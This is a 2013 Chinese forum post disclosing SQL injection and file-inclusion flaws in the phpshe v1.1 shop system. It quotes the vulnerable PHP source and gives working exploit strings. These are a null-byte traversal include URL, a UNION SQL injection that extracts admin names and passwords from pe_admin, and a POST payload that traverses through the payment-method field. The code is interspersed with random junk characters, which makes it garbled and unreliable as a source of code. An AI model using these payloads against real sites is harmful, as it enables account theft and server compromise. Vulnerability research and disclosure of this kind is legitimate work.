找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2721|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/7 L7 |: ~, \% M* e& R* }
/* Phpshe v1.1 Vulnerability
6 @5 s$ a% Z! O. p6 h2 z2 K6 u2 \/* ========================
  ^6 b* w1 d$ {$ H/ q" O7 S8 \/* By: : Kn1f3, Q& P. i2 ]6 V) B  t4 b
/* E-Mail : 681796@qq.com
& G# V& L/ V" p% x0 M+ \, \/*******************************************************/2 o6 A7 M7 F' l& q' W4 ~
0×00 整体大概参数传输& p, R4 z' i7 S

" {' H. O4 P0 y8 Y# N3 s2 e/ k+ C

8 }# k4 p" N' r$ F5 [2 @; k  B$ E' V//common.php5 {/ g1 l' I" A5 j6 l
if (get_magic_quotes_gpc()) {! |0 p, R# l# E8 I  ^  D/ K2 U
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
5 X" R' f/ H9 |- ]' |, G6 T$ B!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
8 ?6 B3 c( }$ u6 m, @}4 b  ~0 m/ c2 L$ i4 V/ {) h, @7 Y& g
else {
2 h# g) f2 p( d; s; o; ]!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');* Y: `/ z' `% E- H  i) j1 {
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
: ~/ a( A; `# l7 u+ o6 V}
9 Z+ X9 f4 b' K! m, n6 Asession_start();% Y0 R: D4 ^$ W6 G7 z
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
( S- o, a1 A* m1 Z9 y! ~4 \( t!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
) p+ J1 n* C( b/ E" U
9 s4 U1 M7 q9 X# _! W3 e) C0×01 包含漏洞5 @1 x0 ]8 b( J: q, V5 Y

% v9 q3 \/ b3 b  u7 m! e

5 ]4 D, ^& [2 k0 D  r% H, v//首页文件5 V( B3 ?, d3 l% O
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);0 K; s& i$ F% M. Q9 _
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
2 Y/ I3 |7 c4 Z' l" y4 npe_result();
2 g7 Y' s0 F1 a; c+ t& V# @% \6 l?>3 Q% o7 S% u  _" T* d
//common 文件 第15行开始
. S+ x& F1 c# I  |url路由配置* d) |' T! t: M2 u+ s6 _$ |( j
$module = $mod = $act = 'index';
3 _9 `) Z6 W' ?9 O% F$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);- _- m3 j4 h2 }' C! R+ H  s
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
( w  I1 k' u+ h$ ~$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
" @# @, Z! z& f; }0 c) g$ o//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
1 v/ x8 X8 @. z8 J

7 O5 b' C  i" o3 P1 V3 T& F
8 j4 p' r# }* m; `5 x( ?
0×02 搜索注入
7 Y8 \/ q. G3 T( S* C& `; V
( X7 O% r5 X: x8 ?; {9 e# C<code id="code2">

//product.php文件
; W+ o6 E/ b3 O* B6 H  J9 Ucase 'list':
8 O6 m5 u" f2 R$category_id = intval($id);
; n3 X" D0 w8 D7 l- ]- A$info = $db->pe_select('category', array('category_id'=>$category_id));. C' T1 C( R) T: x) [! J5 I
//搜索
( ?% V3 x- y9 G0 c$sqlwhere = " and `product_state` = 1";
" P- h) A" r) T- z7 c  Jpe_lead('hook/category.hook.php');
: @6 B2 b, e/ U3 ~if ($category_id) {
' s6 u) I6 z, mwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& W1 o9 |: ~+ }6 R4 }& B}) P$ S- H7 K/ `
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤0 O- L6 n# E. M8 a# [3 e, F7 E
if ($_g_orderby) {7 j' t' a. `' {; r- _. H8 E6 Y
$orderby = explode('_', $_g_orderby);
: j. z0 m9 x7 j2 A9 O$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
+ ^) H( n4 O; y}: d- [7 T  W9 E' L0 }
else {* y: y8 u, S- l9 P
$sqlwhere .= " order by `product_id` desc";0 h% L% g8 B/ e: d0 S- I3 F) i
}
) y+ `: F: ^( l$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
1 K1 W1 Y" a1 F7 u1 W; W2 w% R' g. v//热卖排行' A2 X7 b: q$ X9 @2 }5 Z' x
$product_hotlist = product_hotlist();
' [( \& V  F3 X; ]! |5 S$ p7 R//当前路径  A" m* `/ a+ o3 U1 x7 h1 W) S
$nowpath = category_path($category_id);5 ^* J: k1 L; R$ |6 h
$seo = pe_seo($info['category_name']);
2 }) V$ ~# _- {; vinclude(pe_tpl('product_list.html'));2 R- p# B! d1 ?0 w  N
//跟进selectall函数库
6 _( p: }4 j9 M+ e- _public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
6 ]; q& T8 H6 b{
) I3 A* k/ }, ]//处理条件语句9 L$ t7 K$ r& o! u
$sqlwhere = $this->_dowhere($where);
9 g/ S4 {2 ~" J# r4 l, creturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
* Q6 J/ f9 A* i# x* \}
- Z0 n6 V0 E3 e, a1 `- A5 l3 ^5 Q//exp
6 I. {* ?& S! |5 e; M1 hproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
3 w0 y/ H3 `- h" I; b/ I

</code>
4 e% [2 e; P" v* O4 @8 D" J
' V' I8 Z; O, M3 i& I; C0×03 包含漏洞2
  A& \9 Y3 Y3 K1 {' d- i
: U7 T/ V, Y# f2 }; X$ t<code id="code3">

//order.php

case 'pay':

2 D1 s" e/ J- }! y
$order_id = pe_dbhold($_g_id);


' X. q0 ^) \9 w0 Z$cache_payway = cache::get('payway');

+ x) d7 T7 v4 U7 J' m
foreach($cache_payway as $k => $v) {

1 r' w7 P& a; G2 t
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

# B# q% r. }. L
if ($k == 'bank') {


0 M  k& T7 x$ Z, Y  x# D$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


* _0 b- r1 U$ |' J: [}


2 x* j$ B% [* D. i: V; [2 N}


7 {" e5 b# X0 ^! ~5 B6 s$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


/ G/ n4 @% S$ p1 O$ ^0 l!$order['order_id'] && pe_error('订单号错误...');


3 J: X. ~* M* L) {+ h" ^2 u+ aif (isset($_p_pesubmit)) {


. o! \* l$ p0 q2 s; b5 j4 B" z/ P% Eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

2 x+ ^' y! P% O2 q9 l. z
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


# y$ R2 ^  K  J/ D/ O, Y* Uforeach ($info_list as $v) {


% u1 C+ X0 E0 l( u8 y" [8 E7 e$order['order_name'] .= "{$v['product_name']};";
0 t) _6 c# y% Y% N' }7 Y

7 ?7 n5 y' q$ q) t# g& i
}

: e- y5 r6 z; Y. s) ~4 D, Q
echo '正在为您连接支付网站,请稍后...';


- o3 w) q, M( J9 ^0 y( p4 V7 |include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


, y7 a/ i* g  q}//当一切准备好的时候就可以进行"鸡肋包含了"


/ ~4 o: b. r9 X$ kelse {

! c1 A% ~& c7 ?$ w8 l& a* X' W" J
pe_error('支付错误...');


# [4 Y9 `  U. o4 \* }& @}

6 V- g3 [- C7 {' \' z3 ]
}


. z# z8 O4 e! r) m' s* s7 i3 u% ]$seo = pe_seo('选择支付方式');

7 Z5 D6 E! {9 _  f; c& O
include(pe_tpl('order_pay.html'));

, u% e' B5 o6 E) \8 Z, I: Z+ J
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>) J2 ]2 P$ _# E* r. U

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表